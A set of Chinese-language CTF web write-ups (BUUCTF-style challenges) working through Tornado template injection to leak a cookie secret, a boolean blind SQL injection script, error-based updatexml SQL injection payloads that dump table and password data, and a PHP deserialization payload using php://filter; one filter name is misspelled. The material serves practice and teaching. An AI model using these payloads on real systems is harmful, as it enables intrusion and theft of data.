[护网杯 2018]easy_tornado
tornado是python的web框架,虽然还没开始学pythonWeb的开发,就用这个来了解一下
看welcome.txt有个render
render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面
再看hints.txt
有个md5(cookie_secret+md5(filename))
filename已经知道了
接下就是要拿到cookie_secret
dirmap扫描一下,有发现
有内容,由于是框架搭建的,猜测是模板注入,error?msg=0
尝试一个{{6*6}}
查阅文档发现cookie_secret在Application对象settings属性中,self.application.settings
也叫RequestHandler.settings
handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings
payload:/error?msg={{handler.settings}}
得到cookie_secret
拿去md5加密就可以了
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s.encode('utf-8'))
return md5.hexdigest()
filename="/fllllllllllllag"
cookie="34c63def-7f26-4e7d-b023-12243ed6e945"
print(md5(cookie+md5(filename)))
payload:/file?filename=/fllllllllllllag&filehash=58ead04a94256ddd9c68348220f543e2
[CISCN2019 华北赛区 Day2 Web1]Hack World
sql注入的题,先fuzz跑一下
绝大多数的都被过滤了,那么就不能直接爆库名啥的了
布尔盲注
知道输入1会返回信息,输入0就会返回报错信息
二分法进行flag字符的匹配
利用ascii(substr((select(flag)from(flag)),1,1))<120
,截取flag的第一位,再转换成ascii对应的十进制数字,如果满足<
号的条件就返回1,否则返回0,不断用二分法来获取匹配的字符,知道匹配确定,就把flag字符给拼接1起来
记得加点延时,我跑了很多次才跑对。。
脚本:
import requests
import time
url = 'http://304b4c3c-1a70-4706-ac03-e65b91c0da36.node3.buuoj.cn/index.php'
flag = ''
# 设flag的最大长度在50内,for遍历到 i 来拼接
for i in range(0, 50):
max = 127
min = 0
# 遍历所有的Ascii
for c in range(0, 127):
# 二分法查找
s = int((max + min) / 2)
payload = '(ascii(substr((select(flag)from(flag)),%d,1))<%d)' % (i, s)
r = requests.post(url, data={'id': payload})
# 加点延时,buu不能太快请求
time.sleep(0.5)
if 'Hello' in str(r.content):
max = s
else:
min = s
if (max - min) <= 1:
# 匹配成功,使用chr()来转回ascii字符
flag += chr(max-1)
print(flag)
break
print(flag)
# 题目是输入1有正确回显,输入0就会给错误回显
[极客大挑战 2019]HardSQL
先跑了一下sqlmap,貌似不行
看wp学到是报错注入
使用updatexml报错法注入
查数据库信息
?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21
得到:geek
查表
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21
得到:H4rDsq1
查字段
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21
得到:id,username,password
查数据
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21
报错注入最多返回32位信息
用substring被过滤了
用right来读取后边的内容
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)),0x7e),1))%23&password=1
[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先,ord($s[$i]) >= 32 && ord($s[$i]) <= 125
就意味着不可见字符是不能出现的
protected的反序列化是会有个\x00*\x00属性名
的,但是在php7.1后序列化就不会区分类型了,所以可以直接改成public
class FileHandler {
public $op = "2";
public $filename;
public $content;
$data = new FileHandler;
echo serialize($data);
看到read里面可以读取文件,所以就让进程跳到这里,php协议操作一波读取flag.php
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
看到process,如果双等号等于2就会跳到read
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
但是这里就有问题了,如果三等号等于2的话就会重新赋值为1
但是==可以不比较类型,所以就不要给op赋值"2"字符类型,赋值整数类型2就可以了
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
所以这样构造序列化
<?php
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encord/resource=flag.php";
public $content;
}
$data = new FileHandler;
echo serialize($data);
拿到base64,拿去解码就可以了